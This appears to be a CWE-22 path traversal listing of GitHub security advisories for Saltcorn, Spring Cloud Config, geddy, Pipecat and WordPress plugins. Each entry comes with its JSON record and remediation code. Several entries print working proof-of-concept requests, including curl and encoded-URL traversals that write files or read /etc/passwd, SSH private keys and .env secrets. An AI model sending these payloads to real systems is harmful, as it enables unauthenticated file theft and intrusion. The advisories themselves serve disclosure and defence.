CWE-22
Allowed-with-ReviewImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Abstraction: Base · Status: Stable
The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.
13064 vulnerabilities reference this CWE, most recent first.
GHSA-32PV-MPQG-H292
Vulnerability from github – Published: 2026-04-10 19:30 – Updated: 2026-04-10 19:30Summary
Two unauthenticated path traversal vulnerabilities exist in Saltcorn's mobile sync endpoints. The POST /sync/offline_changes endpoint allows an unauthenticated attacker to create arbitrary directories and write a changes.json file with attacker-controlled JSON content anywhere on the server filesystem. The GET /sync/upload_finished endpoint allows an unauthenticated attacker to list arbitrary directory contents and read specific JSON files.
The safe path validation function File.normalise_in_base() exists in the codebase and is correctly used by the clean_sync_dir endpoint in the same file (fix for GHSA-43f3-h63w-p6f6), but was not applied to these two endpoints.
Details
Finding 1: Arbitrary file write — POST /sync/offline_changes (sync.js line 226)
The newSyncTimestamp parameter from the request body is used directly in path.join() without sanitization:
const syncDirName = `${newSyncTimestamp}_${req.user?.email || "public"}`;
const syncDir = path.join(
rootFolder.location, "mobile_app", "sync", syncDirName
);
await fs.mkdir(syncDir, { recursive: true }); // creates arbitrary dir
await fs.writeFile(
path.join(syncDir, "changes.json"),
JSON.stringify(changes) // writes attacker content
);
No authentication middleware is applied to this route. Since path.join() normalizes ../ sequences, setting newSyncTimestamp to ../../../../tmp/evil causes the path to resolve outside the sync directory.
Finding 2: Arbitrary directory read — GET /sync/upload_finished (sync.js line 288)
The dir_name query parameter is used directly in path.join() without sanitization:
const syncDir = path.join(
rootFolder.location, "mobile_app", "sync", dir_name
);
let entries = await fs.readdir(syncDir);
Also unauthenticated. An attacker can list directory contents and read files named translated-ids.json, unique-conflicts.json, data-conflicts.json, or error.json from any directory.
Contrast — fixed endpoint in the same file (line 342):
The clean_sync_dir endpoint correctly uses File.normalise_in_base():
const syncDir = File.normalise_in_base(
path.join(rootFolder.location, "mobile_app", "sync"),
dir_name
);
if (syncDir) await fs.rm(syncDir, { recursive: true, force: true });
PoC
# Write arbitrary file to /tmp/
curl -X POST http://TARGET:3000/sync/offline_changes \
-H "Content-Type: application/json" \
-d '{
"newSyncTimestamp": "../../../../tmp/saltcorn_poc",
"oldSyncTimestamp": "0",
"changes": {"proof": "path_traversal_write"}
}'
# Result: /tmp/saltcorn_poc_public/changes.json created with attacker content
# List /etc/ directory
curl "http://TARGET:3000/sync/upload_finished?dir_name=../../../../etc"
Impact
- Unauthenticated arbitrary directory creation anywhere on the filesystem
- Unauthenticated arbitrary JSON file write (
changes.json) to any writable directory - Unauthenticated directory listing of arbitrary directories
- Unauthenticated read of specific JSON files from arbitrary directories
- Potential for remote code execution via writing to sensitive paths (cron, systemd, Node.js module paths)
Remediation
Apply File.normalise_in_base() to both endpoints, matching the existing pattern in clean_sync_dir:
// offline_changes fix
const syncDirName = `${newSyncTimestamp}_${req.user?.email || "public"}`;
const syncDir = File.normalise_in_base(
path.join(rootFolder.location, "mobile_app", "sync"),
syncDirName
);
if (!syncDir) {
return res.status(400).json({ error: "Invalid sync directory name" });
}
// upload_finished fix
const syncDir = File.normalise_in_base(
path.join(rootFolder.location, "mobile_app", "sync"),
dir_name
);
if (!syncDir) {
return res.json({ finished: false });
}
Additionally, add loggedIn middleware to endpoints that modify server state.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@saltcorn/server"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@saltcorn/server"
},
"ranges": [
{
"events": [
{
"introduced": "1.5.0-beta.0"
},
{
"fixed": "1.5.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@saltcorn/server"
},
"ranges": [
{
"events": [
{
"introduced": "1.6.0-alpha.0"
},
{
"fixed": "1.6.0-beta.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40163"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-10T19:30:27Z",
"nvd_published_at": "2026-04-10T18:16:46Z",
"severity": "HIGH"
},
"details": "### Summary\n\nTwo unauthenticated path traversal vulnerabilities exist in Saltcorn\u0027s mobile sync endpoints. The `POST /sync/offline_changes` endpoint allows an unauthenticated attacker to create arbitrary directories and write a `changes.json` file with attacker-controlled JSON content anywhere on the server filesystem. The `GET /sync/upload_finished` endpoint allows an unauthenticated attacker to list arbitrary directory contents and read specific JSON files.\n\nThe safe path validation function `File.normalise_in_base()` exists in the codebase and is correctly used by the `clean_sync_dir` endpoint in the **same file** (fix for GHSA-43f3-h63w-p6f6), but was not applied to these two endpoints.\n\n### Details\n\n**Finding 1: Arbitrary file write \u2014 `POST /sync/offline_changes` (sync.js line 226)**\n\nThe `newSyncTimestamp` parameter from the request body is used directly in `path.join()` without sanitization:\n\n```javascript\nconst syncDirName = `${newSyncTimestamp}_${req.user?.email || \"public\"}`;\nconst syncDir = path.join(\n rootFolder.location, \"mobile_app\", \"sync\", syncDirName\n);\nawait fs.mkdir(syncDir, { recursive: true }); // creates arbitrary dir\nawait fs.writeFile(\n path.join(syncDir, \"changes.json\"),\n JSON.stringify(changes) // writes attacker content\n);\n```\n\nNo authentication middleware is applied to this route. Since `path.join()` normalizes `../` sequences, setting `newSyncTimestamp` to `../../../../tmp/evil` causes the path to resolve outside the sync directory.\n\n**Finding 2: Arbitrary directory read \u2014 `GET /sync/upload_finished` (sync.js line 288)**\n\nThe `dir_name` query parameter is used directly in `path.join()` without sanitization:\n\n```javascript\nconst syncDir = path.join(\n rootFolder.location, \"mobile_app\", \"sync\", dir_name\n);\nlet entries = await fs.readdir(syncDir);\n```\n\nAlso unauthenticated. An attacker can list directory contents and read files named `translated-ids.json`, `unique-conflicts.json`, `data-conflicts.json`, or `error.json` from any directory.\n\n**Contrast \u2014 fixed endpoint in the same file (line 342):**\n\nThe `clean_sync_dir` endpoint correctly uses `File.normalise_in_base()`:\n\n```javascript\nconst syncDir = File.normalise_in_base(\n path.join(rootFolder.location, \"mobile_app\", \"sync\"),\n dir_name\n);\nif (syncDir) await fs.rm(syncDir, { recursive: true, force: true });\n```\n\n### PoC\n\n```bash\n# Write arbitrary file to /tmp/\ncurl -X POST http://TARGET:3000/sync/offline_changes \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"newSyncTimestamp\": \"../../../../tmp/saltcorn_poc\",\n \"oldSyncTimestamp\": \"0\",\n \"changes\": {\"proof\": \"path_traversal_write\"}\n }\u0027\n# Result: /tmp/saltcorn_poc_public/changes.json created with attacker content\n\n# List /etc/ directory\ncurl \"http://TARGET:3000/sync/upload_finished?dir_name=../../../../etc\"\n```\n\n### Impact\n\n- **Unauthenticated arbitrary directory creation** anywhere on the filesystem\n- **Unauthenticated arbitrary JSON file write** (`changes.json`) to any writable directory\n- **Unauthenticated directory listing** of arbitrary directories\n- **Unauthenticated read** of specific JSON files from arbitrary directories\n- Potential for **remote code execution** via writing to sensitive paths (cron, systemd, Node.js module paths)\n\n### Remediation\n\nApply `File.normalise_in_base()` to both endpoints, matching the existing pattern in `clean_sync_dir`:\n\n```javascript\n// offline_changes fix\nconst syncDirName = `${newSyncTimestamp}_${req.user?.email || \"public\"}`;\nconst syncDir = File.normalise_in_base(\n path.join(rootFolder.location, \"mobile_app\", \"sync\"),\n syncDirName\n);\nif (!syncDir) {\n return res.status(400).json({ error: \"Invalid sync directory name\" });\n}\n\n// upload_finished fix\nconst syncDir = File.normalise_in_base(\n path.join(rootFolder.location, \"mobile_app\", \"sync\"),\n dir_name\n);\nif (!syncDir) {\n return res.json({ finished: false });\n}\n```\n\nAdditionally, add `loggedIn` middleware to endpoints that modify server state.",
"id": "GHSA-32pv-mpqg-h292",
"modified": "2026-04-10T19:30:27Z",
"published": "2026-04-10T19:30:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/saltcorn/saltcorn/security/advisories/GHSA-32pv-mpqg-h292"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40163"
},
{
"type": "PACKAGE",
"url": "https://github.com/saltcorn/saltcorn"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Saltcorn has an Unauthenticated Path Traversal in sync endpoints, allowing arbitrary file write and directory read"
}
GHSA-32Q5-2WWG-3V4V
Vulnerability from github – Published: 2024-06-20 09:30 – Updated: 2026-04-08 21:32The Shariff Wrapper plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 4.6.13 via the shariff3uu_fetch_sharecounts function. This allows unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.
{
"affected": [],
"aliases": [
"CVE-2024-4098"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-552"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-20T07:15:41Z",
"severity": "CRITICAL"
},
"details": "The Shariff Wrapper plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 4.6.13 via the shariff3uu_fetch_sharecounts function. This allows unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other \u201csafe\u201d file types can be uploaded and included.",
"id": "GHSA-32q5-2wwg-3v4v",
"modified": "2026-04-08T21:32:48Z",
"published": "2024-06-20T09:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4098"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/shariff/trunk/shariff.php#L410"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3103137"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f49fba00-c576-4a1a-8b0b-9ebed3e3d090?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-32QH-8VG6-9G43
Vulnerability from github – Published: 2022-12-28 00:30 – Updated: 2023-01-10 15:59Due to improper path santization, archives containing relative file paths can cause files to be written (or overwritten) outside of the target directory.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/cloudfoundry/archiver"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20180523222229-09b5706aa936"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "code.cloudfoundry.org/archiver"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20180523222229-09b5706aa936"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2018-25046"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2022-12-30T19:15:54Z",
"nvd_published_at": "2022-12-27T22:15:00Z",
"severity": "CRITICAL"
},
"details": "Due to improper path santization, archives containing relative file paths can cause files to be written (or overwritten) outside of the target directory.",
"id": "GHSA-32qh-8vg6-9g43",
"modified": "2023-01-10T15:59:17Z",
"published": "2022-12-28T00:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-25046"
},
{
"type": "WEB",
"url": "https://github.com/cloudfoundry/archiver/commit/09b5706aa9367972c09144a450bb4523049ee840"
},
{
"type": "PACKAGE",
"url": "https://github.com/cloudfoundry/archiver"
},
{
"type": "WEB",
"url": "https://pkg.go.dev/vuln/GO-2020-0025"
},
{
"type": "WEB",
"url": "https://snyk.io/research/zip-slip-vulnerability"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Cloud Foundry Archiver vulnerable to path traversal"
}
GHSA-32VR-62M9-GJ5V
Vulnerability from github – Published: 2024-12-20 06:30 – Updated: 2025-11-04 00:32A logic issue was addressed with improved validation. This issue is fixed in macOS Sequoia 15.1. An app may be able to read arbitrary files.
{
"affected": [],
"aliases": [
"CVE-2024-44195"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-20T04:15:05Z",
"severity": "HIGH"
},
"details": "A logic issue was addressed with improved validation. This issue is fixed in macOS Sequoia 15.1. An app may be able to read arbitrary files.",
"id": "GHSA-32vr-62m9-gj5v",
"modified": "2025-11-04T00:32:15Z",
"published": "2024-12-20T06:30:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-44195"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/121564"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Oct/11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-32XF-JWMV-9HF3
Vulnerability from github – Published: 2020-06-05 16:13 – Updated: 2025-10-22 17:52Spring Cloud Config, versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead to a directory traversal attack.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.cloud:spring-cloud-config-server"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"fixed": "2.1.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.springframework.cloud:spring-cloud-config-server"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-5410"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-23"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-04T19:07:50Z",
"nvd_published_at": "2020-06-02T17:15:00Z",
"severity": "HIGH"
},
"details": "Spring Cloud Config, versions 2.2.x prior to 2.2.3, versions 2.1.x prior to 2.1.9, and older unsupported versions allow applications to serve arbitrary configuration files through the spring-cloud-config-server module. A malicious user, or attacker, can send a request using a specially crafted URL that can lead to a directory traversal attack.",
"id": "GHSA-32xf-jwmv-9hf3",
"modified": "2025-10-22T17:52:48Z",
"published": "2020-06-05T16:13:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5410"
},
{
"type": "PACKAGE",
"url": "https://github.com/spring-cloud/spring-cloud-config"
},
{
"type": "WEB",
"url": "https://tanzu.vmware.com/security/cve-2020-5410"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-5410"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:H",
"type": "CVSS_V3"
}
],
"summary": "Directory traversal attack in Spring Cloud Config"
}
GHSA-32XM-MV3C-FJJV
Vulnerability from github – Published: 2022-05-01 23:47 – Updated: 2022-05-01 23:47Directory traversal vulnerability in cm/graphie.php in Content Management System 0.6.1 for Phprojekt allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the cm_imgpath parameter.
{
"affected": [],
"aliases": [
"CVE-2008-2217"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2008-05-14T18:20:00Z",
"severity": "MODERATE"
},
"details": "Directory traversal vulnerability in cm/graphie.php in Content Management System 0.6.1 for Phprojekt allows remote attackers to include and execute arbitrary local files via a .. (dot dot) in the cm_imgpath parameter.",
"id": "GHSA-32xm-mv3c-fjjv",
"modified": "2022-05-01T23:47:53Z",
"published": "2022-05-01T23:47:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2217"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42510"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/5510"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/28958"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3335-CC43-JRMM
Vulnerability from github – Published: 2026-07-10 09:31 – Updated: 2026-07-10 09:31The Hide My WP Lite plugin for WordPress is vulnerable to Arbitrary File Read in versions up to and including 1.3 via the he_wrapper_js and he_wrapper_css query parameters processed by the elementor_assets_filter() function. This is due to the function concatenating user-supplied input directly onto ABSPATH and passing the result to file_get_contents() without any path traversal validation, allow-list, realpath containment, or extension check; the result is then echoed in the HTTP response. Although the output is passed through wp_kses_post(), that function only filters HTML tags and does not prevent disclosure of arbitrary file contents. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the affected site's server (such as wp-config). Note: The exploit requires the Elementor plugin and the 'Hide Elementor' feature to be enabled.
{
"affected": [],
"aliases": [
"CVE-2026-13347"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-10T08:16:20Z",
"severity": "HIGH"
},
"details": "The Hide My WP Lite plugin for WordPress is vulnerable to Arbitrary File Read in versions up to and including 1.3 via the he_wrapper_js and he_wrapper_css query parameters processed by the elementor_assets_filter() function. This is due to the function concatenating user-supplied input directly onto ABSPATH and passing the result to file_get_contents() without any path traversal validation, allow-list, realpath containment, or extension check; the result is then echoed in the HTTP response. Although the output is passed through wp_kses_post(), that function only filters HTML tags and does not prevent disclosure of arbitrary file contents. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the affected site\u0027s server (such as wp-config). Note: The exploit requires the Elementor plugin and the \u0027Hide Elementor\u0027 feature to be enabled.",
"id": "GHSA-3335-cc43-jrmm",
"modified": "2026-07-10T09:31:36Z",
"published": "2026-07-10T09:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-13347"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/hide-wp-login/tags/1.3/includes/functions.php#L117"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/hide-wp-login/tags/1.3/includes/functions.php#L139"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/e044c51c-40e0-4d33-8921-616d59e0e0d8?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-333X-9VGQ-V2J4
Vulnerability from github – Published: 2017-10-24 18:33 – Updated: 2021-08-31 20:33Versions 13.0.8 and earlier of geddy are vulnerable to a directory traversal attack via URI encoded attack vectors.
Proof of Concept
http://localhost:4000/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
Recommendation
Update geddy to version >= 13.0.8
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "geddy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "13.0.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2015-5688"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2020-06-16T20:53:48Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "Versions 13.0.8 and earlier of geddy are vulnerable to a directory traversal attack via URI encoded attack vectors.\n\n### Proof of Concept\n```\nhttp://localhost:4000/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd\n```\n\n\n## Recommendation\n\nUpdate geddy to version \u003e= 13.0.8",
"id": "GHSA-333x-9vgq-v2j4",
"modified": "2021-08-31T20:33:50Z",
"published": "2017-10-24T18:33:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-5688"
},
{
"type": "WEB",
"url": "https://github.com/geddy/geddy/issues/697"
},
{
"type": "WEB",
"url": "https://github.com/geddy/geddy/pull/699"
},
{
"type": "WEB",
"url": "https://github.com/geddy/geddy/commit/2de63b68b3aa6c08848f261ace550a37959ef231"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-333x-9vgq-v2j4"
},
{
"type": "PACKAGE",
"url": "https://github.com/geddy/geddy"
},
{
"type": "WEB",
"url": "https://github.com/geddy/geddy/releases/tag/v13.0.8"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/10"
}
],
"schema_version": "1.4.0",
"severity": [],
"summary": "Directory Traversal in geddy"
}
GHSA-334X-R396-C494
Vulnerability from github – Published: 2022-05-17 03:10 – Updated: 2022-05-17 03:10Directory traversal vulnerability in Backup in Apple iOS before 8.3 allows attackers to read arbitrary files via a crafted relative path.
{
"affected": [],
"aliases": [
"CVE-2015-1087"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-04-10T14:59:00Z",
"severity": "LOW"
},
"details": "Directory traversal vulnerability in Backup in Apple iOS before 8.3 allows attackers to read arbitrary files via a crafted relative path.",
"id": "GHSA-334x-r396-c494",
"modified": "2022-05-17T03:10:13Z",
"published": "2022-05-17T03:10:13Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-1087"
},
{
"type": "WEB",
"url": "https://support.apple.com/HT204661"
},
{
"type": "WEB",
"url": "http://lists.apple.com/archives/security-announce/2015/Apr/msg00002.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/73978"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1032050"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-3363-2PH6-35WH
Vulnerability from github – Published: 2026-05-15 16:55 – Updated: 2026-06-10 13:41Summary
A path traversal vulnerability exists in Pipecat's development runner (src/pipecat/runner/run.py). When the runner is started with the --folder flag, it exposes a GET /files/{filename:path} download endpoint. The filename path parameter is concatenated directly onto args.folder with no containment check. Starlette normalises literal ../ sequences in URLs, but %2F-encoded slashes bypass this normalisation: the path parameter is URL-decoded after routing, so ..%2F..%2Fetc%2Fpasswd resolves to a path two levels above args.folder. An attacker with network access to the runner can read any file the pipecat process has permission to access — including SSH private keys, credentials, and system files — with a single unauthenticated HTTP request.
Confirmed on pipecat-ai 1.1.0 (latest PyPI release) and commit f078df78058ae82a02ce5b23e9e3a99a0917a53d.
Details
The vulnerable code is in src/pipecat/runner/run.py, inside the _configure_server_app() function, lines 249–264:
@app.get("/files/{filename:path}")
async def download_file(filename: str):
"""Handle file downloads."""
if not args.folder:
logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
return
file_path = Path(args.folder) / filename # ← no containment check
if not os.path.exists(file_path):
raise HTTPException(404)
media_type, _ = mimetypes.guess_type(file_path)
return FileResponse(path=file_path, media_type=media_type, filename=filename)
Path(args.folder) / filename joins the caller-supplied filename onto the base directory without calling .resolve() or checking is_relative_to. Python's pathlib does not strip .. segments during join — only .resolve() does. Starlette strips literal ../ from the URL path before the route handler runs, but it decodes percent-encoded characters inside the matched path parameter value. Because %2F decodes to / after the router has already matched the route, the value that reaches filename can contain / characters, enabling directory traversal.
For example:
GET /files/..%2F..%2Fetc%2Fpasswd
↓
filename = "../../etc/passwd" (after Starlette decodes %2F)
file_path = Path("/tmp/media") / "../../etc/passwd"
= Path("/tmp/media/../../etc/passwd")
→ resolves to /etc/passwd (os.path.exists returns True)
The endpoint has no authentication — the runner does not implement any auth layer — so the request requires no credentials.
Proof of Concept
Step 1 — Start the Pipecat runner with --folder
The runner requires a bot script with a bot() entry point. A minimal script that keeps the HTTP server alive without any transport logic:
# minimal_bot.py
async def bot(runner_args):
import asyncio
await asyncio.sleep(86400)
if __name__ == "__main__":
from pipecat.runner.run import main
main()
Start the runner:
pip install "pipecat-ai[runner,webrtc]"
mkdir /tmp/bot_media
echo "session transcript" > /tmp/bot_media/recording.txt
python minimal_bot.py \
-t webrtc \
--host 127.0.0.1 \
--port 7860 \
--folder /tmp/bot_media
Expected output:
Step 2 — Exploit
# Legitimate request — serves a file inside --folder
curl "http://127.0.0.1:7860/files/recording.txt"
# → session transcript
# Literal ../ — blocked by Starlette path normalisation
curl "http://127.0.0.1:7860/files/../../etc/passwd"
# → {"detail":"Not Found"}
# %2F-encoded separators — bypass normalisation, read /etc/passwd
curl "http://127.0.0.1:7860/files/..%2F..%2Fetc%2Fpasswd"
# → ## User Database
# root:*:0:0:System Administrator:/var/root:/bin/sh
# ...
# Read SSH private key
curl "http://127.0.0.1:7860/files/..%2F..%2F..%2Fhome%2Fuser%2F.ssh%2Fid_rsa"
# → -----BEGIN OPENSSH PRIVATE KEY-----
# b3BlbnNzaC1rZXktdjEAAAA...
# Read application secrets
curl "http://127.0.0.1:7860/files/..%2F..%2F.env"
Confirmed results (pipecat-ai 1.1.0, tested 2026-04-29)
| Request | HTTP status | Content |
|---|---|---|
GET /files/recording.txt |
200 | Legitimate file |
GET /files/../../etc/passwd |
404 | Blocked — literal .. normalised away |
GET /files/..%2F..%2Fetc%2Fpasswd |
200 | Full /etc/passwd |
GET /files/..%2F..%2F..%2Fhome/…/.ssh/id_rsa |
200 | RSA private key (BEGIN OPENSSH PRIVATE KEY) |
Impact
The --folder flag is a documented, first-class feature of the runner: the runner_downloads_folder() helper and -f / --folder CLI argument are part of the public API. The runner documentation includes LAN-deployment examples (--host 192.168.1.100 for ESP32 integration). In those deployments, any host on the local network can exploit this with zero credentials.
An attacker who can reach the runner port and knows --folder is active can retrieve any file readable by the pipecat process:
- SSH private keys and TLS certificates
.envfiles and application credentials- Database files, session tokens, API keys
- System files such as
/etc/passwdand/etc/shadow(on Linux) - Source code, config files, and secrets in parent directories of
--folder
Remediation
Call .resolve() on both the base path and the joined path, then assert containment with is_relative_to:
@app.get("/files/{filename:path}")
async def download_file(filename: str):
if not args.folder:
logger.warning(f"Attempting to dowload {filename}, but downloads folder not setup.")
return
allowed_base = Path(args.folder).resolve()
file_path = (allowed_base / filename).resolve() # resolve AFTER join
if not file_path.is_relative_to(allowed_base): # containment check
raise HTTPException(status_code=403, detail="Access denied")
if not file_path.exists():
raise HTTPException(status_code=404)
media_type, _ = mimetypes.guess_type(file_path)
return FileResponse(path=file_path, media_type=media_type, filename=file_path.name)
Path.resolve() expands all .. components and follows symlinks before is_relative_to compares the paths, so neither %2F-encoded separators nor symlink chains can escape the allowed base.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "pipecat-ai"
},
"ranges": [
{
"events": [
{
"introduced": "0.0.90"
},
{
"fixed": "1.2.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44716"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-15T16:55:04Z",
"nvd_published_at": "2026-06-10T00:16:53Z",
"severity": "HIGH"
},
"details": "## Summary\n\nA path traversal vulnerability exists in Pipecat\u0027s development runner (`src/pipecat/runner/run.py`). When the runner is started with the `--folder` flag, it exposes a `GET /files/{filename:path}` download endpoint. The `filename` path parameter is concatenated directly onto `args.folder` with no containment check. Starlette normalises literal `../` sequences in URLs, but `%2F`-encoded slashes bypass this normalisation: the path parameter is URL-decoded *after* routing, so `..%2F..%2Fetc%2Fpasswd` resolves to a path two levels above `args.folder`. An attacker with network access to the runner can read any file the pipecat process has permission to access \u2014 including SSH private keys, credentials, and system files \u2014 with a single unauthenticated HTTP request.\n\nConfirmed on **pipecat-ai 1.1.0** (latest PyPI release) and commit `f078df78058ae82a02ce5b23e9e3a99a0917a53d`.\n\n---\n\n## Details\n\nThe vulnerable code is in `src/pipecat/runner/run.py`, inside the `_configure_server_app()` function, lines 249\u2013264:\n\n```python\n@app.get(\"/files/{filename:path}\")\nasync def download_file(filename: str):\n \"\"\"Handle file downloads.\"\"\"\n if not args.folder:\n logger.warning(f\"Attempting to dowload {filename}, but downloads folder not setup.\")\n return\n\n file_path = Path(args.folder) / filename # \u2190 no containment check\n if not os.path.exists(file_path):\n raise HTTPException(404)\n\n media_type, _ = mimetypes.guess_type(file_path)\n\n return FileResponse(path=file_path, media_type=media_type, filename=filename)\n```\n\n`Path(args.folder) / filename` joins the caller-supplied `filename` onto the base directory without calling `.resolve()` or checking `is_relative_to`. Python\u0027s `pathlib` does not strip `..` segments during join \u2014 only `.resolve()` does. Starlette strips literal `../` from the *URL path* before the route handler runs, but it decodes percent-encoded characters *inside* the matched path parameter value. Because `%2F` decodes to `/` after the router has already matched the route, the value that reaches `filename` can contain `/` characters, enabling directory traversal.\n\nFor example:\n\n```\nGET /files/..%2F..%2Fetc%2Fpasswd\n \u2193\nfilename = \"../../etc/passwd\" (after Starlette decodes %2F)\nfile_path = Path(\"/tmp/media\") / \"../../etc/passwd\"\n = Path(\"/tmp/media/../../etc/passwd\")\n \u2192 resolves to /etc/passwd (os.path.exists 